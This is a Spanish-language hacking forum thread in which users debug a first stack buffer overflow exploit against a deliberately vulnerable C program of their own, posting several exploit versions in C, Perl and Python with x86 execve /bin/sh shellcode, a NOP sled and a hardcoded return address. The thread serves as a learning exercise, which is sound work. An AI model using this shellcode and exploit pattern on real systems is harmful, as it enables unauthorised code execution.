[First BoF Linux attack : Sagrini 2010 : elhacker.net] [Funciona!!!]

Iniciado por Garfield07, 22 Enero 2011, 17:50 PM

0 Miembros y 1 Visitante están viendo este tema.

Garfield07

Bueno, ahi va el titulo, la cosa es que tengo un programita con una vulnerabilidad y lo estoy explotando. El otro dia consegui manejar el transcurso de la aplicacion, y ahora abrir una shellcode...
Lo hago asi:
./vuln [23 NOPS + 25 Shellcode + 4 RET]
La idea la saque de un post antiguo del foro... Evidentemente se puede cambiar la posicion de los Nops, pero bueno...

Bueno, consigo la shellcode al correrlo asi:

./vuln $(perl -e 'print "\x90"x23 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"."\x18\x1f\x9b\xbf"')
$

Pero a la hora de hacer el exploit...

juanra@Juanra:~/Escritorio/Shell$ gcc -o exploit exploit.c
juanra@Juanra:~/Escritorio/Shell$ ./exploit
Fallo de segmentación
juanra@Juanra:~/Escritorio/Shell$ gdb -q exploit
(gdb) r
Starting program: /home/juanra/Escritorio/Shell/exploit

Program received signal SIGSEGV, Segmentation fault.
0xb77521f4 in strcpy () from /lib/tls/i686/cmov/libc.so.6
(gdb)


Tengo este codigo, en el que también va como comentario el vulnerable...

/*
First BoF Linux attack : Sagrini 2010 : elhacker.net
23 Nops + 25 Shellcode + 4 Ret = 52 [48 Buffer + Ret] + 7 ["./vuln "] = 59

gcc -o vuln vuln.c --no-stack-protector -g -z execstack
./vuln $(perl -e 'print "\x90"x23 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"."\x18\x1f\x9b\xbf"')
$

gcc -o exploit exploit.c
./exploit
$

------------------------------------------
!!! Vuln code !!!
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void soy_vuln(char *arg)
{
char buffer [48];
strcpy (buffer, arg);
}

int main(int argc, char *argv[])
{
if (argc != 2) return 1;
soy_vuln(argv[1]);
}
------------------------------------------
*/

#include <stdio.h>
#include <string.h>

int main ()
{
printf ("First BoF Linux attack : Sagrini 2010 : elhacker.net");

char nops [23];
memset (nops, '\x90', 23);
char shellcode [25] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
char ret [4] = "\x18\x1f\x9b\xbf";

char command [59];
strcpy (command, "./vuln ");
strcpy (command, nops);
strcpy (command, shellcode);
strcpy (command, ret);
execve (command, command, NULL);

return 0;
}



Ahora mi pregunta es... ¿Qué falla?


* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo

AlbertoBSD

lo que falla es que tienes protecciones anti stack over flow

saludos
Donaciones
1Coffee1jV4gB5gaXfHgSHDz9xx9QSECVW

Garfield07

#2
Cita de: Anon en 23 Enero 2011, 14:32 PM
lo que falla es que tienes protecciones anti stack over flow

Los desactivo en el vuln, no en el exploit... Ahora mismo pruebo...
Modf: Anon, nada...


/*
First BoF Linux attack : Sagrini 2010 : elhacker.net
23 Nops + 25 Shellcode + 4 Ret = 52 [48 Buffer + Ret] + 7 ["./vuln "] = 59

gcc -o vuln vuln.c --no-stack-protector -g -z execstack
./vuln $(perl -e 'print "\x90"x23 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"."\x18\x1f\x9b\xbf"')
$

gcc -o exploit exploit.c
./exploit
$

------------------------------------------
!!! Vuln code !!!
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void soy_vuln(char *arg)
{
char buffer [48];
strcpy (buffer, arg);
}

int main(int argc, char *argv[])
{
if (argc != 2) return 1;
soy_vuln(argv[1]);
}
------------------------------------------
*/

#include <stdio.h>
#include <string.h>

int main ()
{
printf ("First BoF Linux attack : Sagrini 2010 : elhacker.net\n");

char nops [23];
memset (nops, 'A', 23);
char shellcode [25] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

char ret [4] = "\x18\x1f\x9b\xbf";

char command [59];
strcpy (command, "./vuln ");
strcat (command, nops);
strcat (command, shellcode);
strcat (command, ret);
// system (command);

printf ("%s", command);

return 0;
}

Si os dais cuenta, no ejecuto nada, solo muestro la cadena. Antes de eso, al strcpy (command, shellcode) da el fallo...
Ahora me pasare por el foro C/C++ porque no es fallo de vuln...
Compilo asi...

juanra@Juanra:~/Escritorio/Shell$ gcc -o exploit exploit.c --no-stack-protector -z execstack
juanra@Juanra:~/Escritorio/Shell$ ./exploit
First BoF Linux attack : Sagrini 2010 : elhacker.net
Fallo de segmentación
juanra@Juanra:~/Escritorio/Shell$

Alguna idea?


* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo

Ivanchuk

Cita de: Sagrini en 23 Enero 2011, 15:35 PM



char shellcode [25] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";



char ret [4] = "\x18\x1f\x9b\xbf";



char command [59];

strcpy (command, "./vuln ");

strcat (command, nops);

strcat (command, shellcode);

strcat (command, ret);







Cuando usas c chars con las funciones strxxx, los cadenas tienen que contener \x0 para marcar el fin de la misma sino strxxx va a seguir de largo y copiar cualquier cosa. Si queres serguir usando esas funciones agregales '\0' al final de las cadenas que usas sino podes usar memcpy.

Mirate el man execve. El 2do argumento es un arreglo de punteros a char, el mismo tipo que argv.

Probate este code:

#include <stdlib.h>
#include <string.h>
#include <stdio.h>

int main ()
{
printf ("First BoF Linux attack : Sagrini 2010 : elhacker.net\n");

char nops [24];
memset (nops, '\x90', 23);
nops[23] = '\0';
char shellcode [] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x0";
char ret [] = "\x18\x1f\x9b\xbf\x0";

char command [59];
strcpy (command, nops);
strcat (command, shellcode);
strcat (command, ret);
char *cmd[] = {command, NULL};
execve ("./vuln", cmd, NULL);

return 0;
}

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org

Garfield07

#4
Bueno, de acuerdo, ahora no da fallo de segm. pero no ejecuta nada...

juanra@Juanra:~/Escritorio/Shell$ gcc -o exploit exploit.c -z execstack --no-stack-protector
juanra@Juanra:~/Escritorio/Shell$ ./exploit
First BoF Linux attack : Sagrini 2010 : elhacker.net
juanra@Juanra:~/Escritorio/Shell$


Vale, ahora qué, si fuese porque cambia la dirección de memoria me diriía fallo de segmentación, pero nada...
Una cosa, si le meto un byte nulo, no se rellena todo... No va... Voy a probar otra cosa...
--------------------------------------------------------------------------------------------------------------------------------------------------------
Modf: Pruebo con este code:

#include <stdlib.h>
#include <string.h>
#include <stdio.h>

int main ()
{
printf ("First BoF Linux attack : Sagrini 2010 : elhacker.net\n");

char command [] = "./vuln \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x18\x1f\x9b\xbf";

system (command);
return 0;
}

y este

#include <stdlib.h>
#include <string.h>
#include <stdio.h>

int main ()
{
printf ("First BoF Linux attack : Sagrini 2010 : elhacker.net\n");

char command [] = "./vuln \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x18\x1f\x9b\xbf";

char *cmd[] = {command, NULL};
execve ("./vuln", cmd, NULL);
return 0;
}


En el primero, "Segmentation Fault". En el segundo no printea nada menos la primera frase.
¿Qué hago?


* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo

Ivanchuk

#5
Me parece que te dije cualquier verdura hehe, perdona. En realidad los char * inicializados con dobles comillas, c les agrega un null byte al final automaticamente. El problema lo tenias con los nops, porq los llenabas con memset.

Bueno retomando, en el segundo codigo, porq metes "./vuln" al principio del argumento para vuln en execve???

En el primero ni idea...
Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org

Garfield07

./vuln es el programa a ejecutar no? Voy a contar los nops, a ver si he metido de más...
execve (<nombre prog>, <argumentos completos> <entorno>);
Pues eso...

Ahora modf, que se me ha ocurrido otra cosa...


* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo

mr.blood

Yo no he tenido ningun problema en hacer el exploit ni en C, ni en Python ;).

C:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main()
{
char name[]="./bof";
char nops[24]="";
memset(nops, '\x90', 23); /* Copiamos el byte 90 23 veces en la variable nops */
char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
char ret[]="\x18\x1f\x9b\xbf";

char *cmd;/* Definimos un puntero donde juntaremos todo, para llamarlo con system */
cmd=(char *)malloc(strlen(name)+strlen(nops)+strlen(shellcode)+strlen(ret)+1);/* Reservamos la memoria necesaria
para juntar todo */
sprintf(cmd, "%s %s%s%s", name,nops,shellcode,ret);/* Juntamos name, nop, shellcode y ret en el
puntero cmd, entre name y los demas campos dejamos un espacio */
system(cmd);
free(cmd);/* Liberamos la memoria */
return 0;
}





Python:
Código (python) [Seleccionar]
import os
archivo="./bof "
nops="\x90" * 23
shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
ret="\x18\x1f\x9b\xbf"

os.system(archivo+nops+shellcode+ret)


Espero haberte ayudado, porque no se si llegaste a resolver tu duda ;).

Sa1uDoS

Belial & Grimoire

pues yo tambien lo intente y no me funciono, ya trate de modificar los nops, no se si sea igual en linux, pero en windows tenia que dejar ret exacto en EIP para que saltara y se creara la shell

pues lo intente y no me funciona... sera por alguna razon de sistemas linux, yo utilizo debian suqeeze

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(){

char exp[] = "./vuln";
char nops[23] = "";
memset(nops, '\x90', 23);
char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
char ret[]="\x18\x1f\x9b\xbf";

char *cmd;
cmd=(char *)malloc(strlen(exp) + strlen(nops) + strlen(shellcode) + strlen(ret) + 1);

sprintf(cmd,"%s %s %s %s", exp, nops, shellcode, ret);

system(cmd);
free(cmd);

return 0;
}


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void soy_vuln(char *arg){

char buff[48];
strcpy(buff, arg);
printf("%s", buff);
}

int main(int argc, char *argv[]){

if(argc != 2) return 1;

soy_vuln(argv[1]);
}
.                                 

mr.blood

Porque dejas esto asi ???

sprintf(cmd,"%s %s %s %s", exp, nops, shellcode, ret);

Tiene que ser sprintf(cmd,"%s %s%s%s", exp, nops, shellcode, ret);

Sino es normal que no te funcione ;).

Si lo copias tal y como esta (mi codigo) no te funciona ???

Has compilado vuln como gcc -o vuln vuln.c --no-stack-protector -g -z execstack ???

Sa1uDoS